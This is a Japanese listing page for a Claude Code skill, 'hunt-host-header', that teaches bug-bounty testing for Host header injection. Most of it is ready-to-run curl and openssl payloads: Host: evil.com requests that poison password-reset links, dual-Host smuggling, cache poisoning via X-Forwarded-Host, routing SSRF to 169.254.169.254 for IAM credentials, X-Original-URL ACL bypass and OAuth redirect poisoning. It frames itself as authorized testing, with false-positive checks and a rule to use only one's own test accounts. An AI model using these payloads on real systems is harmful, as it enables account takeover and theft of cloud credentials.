hunt-host-header について
Host ヘッダーインジェクションを調べるセキュリティテスト用スキルです。パスワードリセットやキャッシュのポイズニング、SSRF、OAuth/OIDC を扱い、挙動や帯域外コールバックによる検証を重視します。
主な機能
- 01パスワードリセットリンクのポイズニング検査
- 02Host によるキャッシュポイズニング検証
- 03Host ルーティング型 SSRF の検査
- 04パス上書きと ACL 回避のテスト
- 05OAuth/OIDC の Host ポイズニング検査
- 06誤検知の除外と証拠の検証
活用シーン
- 01リセットメールのリンク先 Host を確認
- 02共有キャッシュが汚染内容を返すか検証
- 03リバースプロキシの Host ルーティングをテスト
- 04OAuth フローで認可コードが漏れるか確認
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-host-headerインストール後、Claude Code で/hunt-host-headerを入力して読み込まれたか確認します。
詳細
HUNT-HOST-HEADER — Host ヘッダーインジェクション
根拠/出典
このスキルは、公開されている Host ヘッダー攻撃の文献に基づいており、ペイロードを独自に考案したものではありません。 レポートでは、架空の ID ではなく、手法の出典を引用してください。
- パスワードリセットポイズニングの分類 — 代表的な解説は、Skelet/Detectify 時代の「Practical HTTP Host header attacks」(Django の
request.get_host()からパスワードリセットリンクを作成するケース)です。多くのフレームワークでは、ALLOWED_HOSTSのような許可リストを使わず、リクエストの Host からリセット URL を作成していました。実際に観測したフレームワークと Host の反映動作を引用してください。 - キーに含まれない Host/X-Forwarded-Host を介した Web キャッシュポイズニング — PortSwigger Research の James Kettle による「Practical Web Cache Poisoning」(2018 年)および「Web Cache Entanglement」(2020 年)です。これらは、X-Forwarded-Host ポイズニングの仕組みとなる、キーに含まれない入力によるポイズニングを定義しています。
- ルーティングベースの SSRF — PortSwigger Research の「Cracking the lens」/ルーティングベースの SSRF です(Host ヘッダーによってフロントエンドのアップストリーム選択を制御します)。
レポートでは、再現した正確な動作(ヘッダーの反映、新しいキーでのキャッシュ HIT、Collaborator からの OOB ヒット)を明記してください。検証していない CVE や H1 ID を記載してはいけません。引用がないほうが、誤った引用より常に適切です。
最重要ターゲット
パスワードリセットリンクに影響する Host ヘッダーインジェクションは Critical です(任意のユーザーに対する ATO)。
価値の高い連鎖:
- パスワードリセットポイズニング → ATO — サーバーがリクエストの Host からリセットリンクを作成します。攻撃者が
Host: evil.comを設定すると、被害者に届くリセットメール内のトークンが攻撃者のホストを参照し、クリック時にトークンを取得して完全な ATO が成立します。事前アカウント乗っ取りの亜種では、被害者が自身のリセットをリクエストするだけで、トークンが evil.com に漏えいします。 - キーに含まれない Host を介した Web キャッシュポイズニング — CDN/リバースプロキシが、攻撃者の
X-Forwarded-Hostを絶対 URL(script src、link、リダイレクト)に反映したレスポンスをキャッシュします。すると、ポイズニングされたエントリーが同じキャッシュキーを使う後続のすべての訪問者に配信され、大規模な XSS/リダイレクト/CSP バイパスにつながります。 - ルーティングベースの SSRF — フロントエンドがアップストリームの選択にHost ヘッダー自体を使用します。
Host: 169.254.169.254(または内部ホスト名)を指定すると、リクエストがその宛先に転送され、クラウドメタデータや内部管理パネルにアクセスされます。 - パス上書きによる SSRF/ACL バイパス — IIS/ASP.NET/Spring は
X-Original-URL/X-Rewrite-URLを使ったルーティングパスの上書きを受け入れます。これにより、エッジ ACL がブロックしたと判断した/adminや内部エンドポイントに到達できます(ルーティング SSRF とは異なるレイヤーです。Phase 3 を参照してください)。 - OAuth/OIDC ポイズニング — Host が
redirect_uri、または OIDC のissuer/ディスカバリードキュメントを制御し、認可コードやトークンの窃取から ATO に至ります。
攻撃対象の兆候
Any password reset / forgot-password / email-verification / invite endpoint
Any app behind CDN/reverse proxy (Cloudflare, Varnish, Fastly, Akamai, Nginx, HAProxy)
OAuth/OIDC authorization + /.well-known/openid-configuration endpoints
Absolute URLs constructed from request Host (set-password links, share links, webhooks)
Email-sending endpoints (transactional mail, notifications)
Reverse proxies that may route by Host (k8s ingress, service mesh, internal forward proxies)
危険なヘッダー候補(キーに含まれない/信頼される入力):
Host X-Forwarded-Host X-Host
X-Forwarded-Server X-HTTP-Host-Override Forwarded
X-Original-URL X-Rewrite-URL X-Override-URL (path-override class)
段階的な調査手法
必ず自身が登録したテストアカウントに対してテストしてください。他のユーザーのリセットをリクエストしてはいけません。
Phase 1 — パスワードリセットポイズニング
# 1a. Override Host directly
curl -s -X POST https://$TARGET/forgot-password \
-H "Host: evil.com" \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]"}'
# 1b. X-Forwarded-Host (behind reverse proxy that trusts it)
curl -s -X POST https://$TARGET/forgot-password \
-H "Host: $TARGET" \
-H "X-Forwarded-Host: evil.com" \
-d "[email protected]"
# 1c. Host + X-Forwarded-Host combo, and X-Host
curl -s -X POST https://$TARGET/forgot-password \
-H "Host: $TARGET" -H "X-Host: evil.com" \
-d "[email protected]"
# 1d. Dual-Host / Host override smuggling: some stacks read the SECOND Host
printf 'POST /forgot-password HTTP/1.1\r\nHost: %s\r\nHost: evil.com\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 33\r\nConnection: close\r\n\r\[email protected]' "$TARGET" \
| openssl s_client -quiet -connect $TARGET:443 2>/dev/null
# 1e. Absolute-URL injection: keep real Host, append attacker host so the
# reset link becomes https://TARGET.evil.com/... or routes the token out
curl -s -X POST https://$TARGET/forgot-password \
-H "Host: $TARGET.evil.com" -d "[email protected]"
# 1f. Trailing-port / userinfo confusion (parsers that split on : or @)
curl -s -X POST https://$TARGET/forgot-password \
-H "Host: $TARGET:[email protected]" -d "[email protected]"
**確認:**リセットメールを自身のテスト用受信トレイで開き、リンクのホストを確認します。トークンが攻撃者の管理下にあるホスト(evil.com、$TARGET.evil.com、または Collaborator ドメイン)に含まれている必要があります。これが実際の問題として報告できる条件です。**注入するホストには Burp Collaborator ドメインを使用してください。**被害者がクリックしたとき(またはプレビュー取得ツールが取得したとき)に、帯域外でトークンを取得して証拠を得られます。Validation を参照してください。
フェーズ 2 — Host / X-Forwarded-Host 経由の Web キャッシュポイズニング
仕組み:これは リフレクションの脆弱性であり、OOB の脆弱性ではありません。注入したホストは、レスポンス本文にリフレクトされ(絶対 URL、スクリプトの src、<link href>、<base href>、リダイレクトの Location、または canonical/og:url)、かつそのレスポンスが自分では制御できないキーでキャッシュされる必要があります。キャッシュテスト自体では Collaborator へのコールバックは想定されません。コールバックが発生するのはその後で、被害者のブラウザーがポイズニングされた絶対 URL を読み込んだ場合のみです。
# 2a. Is the host reflected into the body?
curl -s https://$TARGET/ \
-H "Host: $TARGET" -H "X-Forwarded-Host: canary-$RANDOM.example" \
| grep -i "canary"
# 2b. Is the response cacheable, and what is the cache key?
curl -sI "https://$TARGET/?cb=$RANDOM" \
| grep -iE "cache-control|cf-cache-status|x-cache|age|via|surrogate|vary"
# Look for: X-Cache/CF-Cache-Status: HIT, nonzero Age, Via: varnish/fastly/cloudfront.
# Check Vary: — if Vary does NOT include X-Forwarded-Host, the header is UNKEYED → poisonable.
# 2c. Prove poisoning: poison once, then fetch CLEAN (no injected header) on same key.
URL="https://$TARGET/?cb=poison$RANDOM"
curl -s "$URL" -H "X-Forwarded-Host: evilcdn.example" >/dev/null # poison
curl -s "$URL" | grep -i "evilcdn.example" # clean victim view → reflected = POISONED
誤検知を防ぐ確認事項(必須):
- リフレクションが自分のリクエストにだけ発生する場合(ヘッダーが
Varyなどでキーに含まれている、または CDN が Host をキーに含めているため)は、ポイズニングではありません。ヘッダーを省略したリクエストで 2c がペイロードを返すことを確認してください。 - 毎回
Age: 0+MISS→ 共有キャッシュがありません → 大規模な影響はありません。自分のみへの影響/低に格下げしてください。 - 「大規模」と主張する前に、別のマシン/新しい送信元 IP/シークレットウィンドウから影響範囲を確認してください。キャッシュの範囲はエッジ/Cookie/地域ごとであることがよくあります。
フェーズ 3 — Host ヘッダー経由の SSRF — 明確に異なる 2 つの仕組み(混同しないこと)
これらは異なるレイヤーで動作します。別々にテストしてください。1 つのリクエスト内で組み合わせることはできません。
(3A) ルーティングベースの SSRF — Host ヘッダーが上流を選択します。 メタデータサービス/内部ホストは通常の HTTP を提供し、転送したリクエストラインとヘッダーしか認識しないため、パスは通常のリクエストと同様にリクエストラインに指定します。X-Original-URL はここでは関係ありません。EC2 IMDS はこれを無視します。
# Correct routing-SSRF probe: path on the request line, Host steers the proxy upstream.
curl -s "https://$TARGET/latest/meta-data/" -H "Host: 169.254.169.254"
curl -s "https://$TARGET/latest/meta-data/iam/security-credentials/" -H "Host: 169.254.169.254"
# GCP / Azure equivalents (still routing via Host):
curl -s "https://$TARGET/computeMetadata/v1/" \
-H "Host: metadata.google.internal" -H "Metadata-Flavor: Google"
curl -s "https://$TARGET/metadata/instance?api-version=2021-02-01" \
-H "Host: 169.254.169.254" -H "Metadata: true"
# Internal hostname / port routing:
curl -s "https://$TARGET/" -H "Host: localhost:6379" # Redis behind the proxy
curl -s "https://$TARGET/" -H "Host: internal-admin.svc.cluster.local"
# Blind / no reflection? Point the Host at a Collaborator subdomain and watch for the
# proxy's outbound DNS/HTTP lookup — that proves the front-end resolves the attacker host.
curl -s "https://$TARGET/" -H "Host: $COLLAB"
(3B) パス上書き型 SSRF/ACL バイパス — X-Original-URL / X-Rewrite-URL。 これは、アプリがルーティングされるパスを上書きする IIS/ASP.NET/Spring-Cloud-Gateway の機能です。実際の Host はそのままにします。上流を切り替えるのではなく、エッジのパス ACLをバイパスしています。実際の Host を維持してください。
# Reach an internal/blocked path the edge thought it denied. Real Host stays.
curl -s "https://$TARGET/" -H "Host: $TARGET" -H "X-Original-URL: /admin"
curl -s "https://$TARGET/" -H "Host: $TARGET" -H "X-Rewrite-URL: /internal/metrics"
# Diff against a direct GET /admin (which the edge blocks) — a different status/body proves override.
以前のプローブ
Host: 169.254.169.254+X-Original-URL: /latest/meta-data/は誤りでした。この 2 つのヘッダーは異なるレイヤーで動作し、組み合わせることはできません。メタデータには 3A、ACL バイパスには 3B を使用してください。
フェーズ 4 — OAuth / OIDC / SAML ポイズニング
# Does the authorization endpoint build redirect_uri / display URL from Host?
curl -s "https://$TARGET/oauth/authorize?response_type=code&client_id=app&redirect_uri=https://$TARGET/cb" \
-H "Host: evil.com" | grep -iE "redirect|location|action="
# OIDC discovery: if issuer/endpoints reflect Host, the whole flow can be re-pointed.
curl -s "https://$TARGET/.well-known/openid-configuration" -H "X-Forwarded-Host: evil.com" \
| grep -iE "issuer|authorization_endpoint|token_endpoint|jwks_uri"
確認: 認証コード/トークンが実際に攻撃者のホストに送信される必要があります(Collaborator でキャプチャ)。文字列がリフレクトされるだけでは ATO にはなりません。
フェーズ 5 — ヘッダーファジング(Param Miner)
Burp の Param Miner → Guess headers はより高速で、以下のリストでは見逃される、キーに含まれない/キャッシュに影響するヘッダーを検出できます。手動での確認:
HOST_HEADERS=(X-Forwarded-Host X-Host X-Forwarded-Server X-HTTP-Host-Override \
Forwarded X-Original-URL X-Rewrite-URL X-Override-URL X-Forwarded-Scheme)
for H in "${HOST_HEADERS[@]}"; do
echo "=== $H ==="
curl -s -I "https://$TARGET/" -H "$H: canary-$RANDOM.example" \
| grep -iE "location|x-cache|cf-cache|age|set-cookie"
done
チェーン表
| 脆弱性 | チェーン先 | 影響 |
|---|---|---|
| リセットリンクのホスト = 攻撃者(自分のテストアカウント) | Collaborator ホストへの注入 → クリック時にトークンをキャプチャ | 重大 — 任意のユーザーの ATO |
| X-Forwarded-Host が絶対 URL にリフレクトされ、キャッシュ可能かつキーに含まれない | キーをポイズニング → クリーンな取得でペイロードを返す → XSS/リダイレクトを読み込む | 高 — 大規模なキャッシュポイズニング |
| フロントエンドが Host によってルーティングする | Host: 169.254.169.254 とリクエストライン上のパス → 認証情報 | 高/重大 — SSRF → クラウド認証情報 |
X-Original-URL がパスを上書きする | エッジでブロックされた /admin に到達 | 高 — ACL バイパス/SSRF |
| OAuth の redirect_uri/issuer が Host から構築される | フローの転送先を変更 → Collaborator でコード/トークンをキャプチャ | 重大 — コード窃取による ATO |
検証(チーム内の基本ルール)
✅ パスワードリセット: 自分のテストアカウント宛てのメールに記載されたトークン URL が、攻撃者が制御するホストを使用しています。最も強力な証拠は、Collaborator ホストを挿入し、リンクをクリックまたはプレビューした際にトークンを含む HTTP リクエストが届くことを示すことです(OOB キャプチャ)。
✅ キャッシュポイズニング: 挿入したヘッダーを含まないリクエスト(新しいエグレス IP/シークレットモード)でも、攻撃者のペイロードが返されます。これで共有キャッシュのポイズニングが証明されます。Vary でキーが分けられている場合、または MISS/Age:0 のみの場合は Low に格下げします。
✅ ルーティング SSRF: 169.254.169.254/内部ホストからの実際のレスポンス本文、またはフロントエンドから Collaborator への OOB DNS/HTTP リクエスト(ブラインドケース)。
✅ パスオーバーライド: エッジでブロックされた直接リクエストとステータス/本文に差があれば、オーバーライドが適用された証拠です。
✅ OAuth/OIDC: 認証コード/トークンが単に反映されるだけではなく、実際に攻撃者のホストへ送信されていることを確認します(キャプチャ済み)。
必ず誤検知を除外してください:
- 反映される ≠ キャッシュされる。自分向けにキャッシュされる ≠ 他のユーザー向けにキャッシュされる(
Vary、2 つ目の IP を確認)。 - Host 文字列をエコーする 200 レスポンスは、レスポンス内容が内部ターゲットから取得されたか、Collaborator が通信を受けたのでなければ SSRF ではありません。
- メーラーによっては、Host に関係なくリンクを固定の
SITE_URLに書き換えます。HTTP レスポンス内にヘッダーが反映されても、メールがポイズニングされたとは限りません。メール本文を確認してください。
重大度:
- リセット → 任意のユーザーに対する ATO:Critical
- ルーティング SSRF → クラウドメタデータの認証情報:Critical(認証情報が使用可能な場合)/High
- キャッシュポイズニング → 大規模な XSS/リダイレクト(共有キーを確認済み):High
- パスオーバーライド → 内部/管理者への到達:High
- 反映のみ、キャッシュ不可、メール内に記載なし、内部への到達なし:Low/参考情報